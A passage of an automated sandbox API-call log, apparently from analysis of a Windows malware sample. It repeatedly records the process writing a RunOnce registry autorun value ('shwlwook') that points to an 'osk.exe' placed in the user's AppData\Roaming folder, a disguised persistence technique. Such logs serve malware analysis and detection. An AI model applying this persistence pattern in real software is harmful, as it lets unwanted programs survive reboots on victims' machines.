lpMsg=0x95f69c) returned 1 [0260.340] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.340] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.340] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.340] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.341] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.341] RegCloseKey (hKey=0x14c) returned 0x0 [0260.341] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.341] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.355] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.355] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.356] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.356] RegCloseKey (hKey=0x14c) returned 0x0 [0260.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.371] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.372] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.372] RegCloseKey (hKey=0x14c) returned 0x0 [0260.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.386] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.386] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.387] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.387] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.387] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.387] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.387] RegCloseKey (hKey=0x14c) returned 0x0 [0260.388] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.388] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.403] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.403] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.404] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.404] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.404] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.404] RegCloseKey (hKey=0x14c) returned 0x0 [0260.404] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.405] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.418] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.419] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.419] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.419] RegCloseKey (hKey=0x14c) returned 0x0 [0260.420] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.420] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.433] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.433] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.434] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.434] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.434] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.434] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.434] RegCloseKey (hKey=0x14c) returned 0x0 [0260.435] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.436] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.449] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.449] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.449] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.450] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.450] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.450] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.450] RegCloseKey (hKey=0x14c) returned 0x0 [0260.450] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.450] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.465] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.466] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.466] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.466] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.466] RegCloseKey (hKey=0x14c) returned 0x0 [0260.467] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.467] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.481] RegCloseKey (hKey=0x14c) returned 0x0 [0260.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.482] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.497] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.498] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.498] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.498] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.499] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.499] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.499] RegCloseKey (hKey=0x14c) returned 0x0 [0260.499] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.499] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.512] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.512] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.512] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.512] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.512] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.513] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.513] RegCloseKey (hKey=0x14c) returned 0x0 [0260.513] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.513] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.527] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.527] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.527] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.528] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.528] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.528] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.528] RegCloseKey (hKey=0x14c) returned 0x0 [0260.528] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.529] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.543] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.543] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.543] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.543] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.543] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.544] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.544] RegCloseKey (hKey=0x14c) returned 0x0 [0260.544] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.544] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.558] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.558] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.559] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.559] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.559] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.559] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.559] RegCloseKey (hKey=0x14c) returned 0x0 [0260.560] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.560] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.574] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.574] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.574] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.575] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.575] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.575] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.575] RegCloseKey (hKey=0x14c) returned 0x0 [0260.575] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.575] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.590] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.590] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.590] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.590] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.590] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.591] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.591] RegCloseKey (hKey=0x14c) returned 0x0 [0260.591] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.591] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.605] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.605] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.605] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.606] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.606] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.606] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.606] RegCloseKey (hKey=0x14c) returned 0x0 [0260.606] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.607] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.621] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.621] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.621] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.622] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.622] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.622] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.622] RegCloseKey (hKey=0x14c) returned 0x0 [0260.622] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.623] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.636] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.636] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.637] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.637] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.637] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.637] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.638] RegCloseKey (hKey=0x14c) returned 0x0 [0260.638] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.638] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.652] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.652] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.652] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.653] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.653] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.653] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0260.653] RegCloseKey (hKey=0x14c) returned 0x0 [0260.653] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0260.654] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0260.669] TranslateMessage (lpMsg=0x95f69c) returned 0 [0260.669] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0260.670] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0260.671] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0260.671] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0260.671] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | 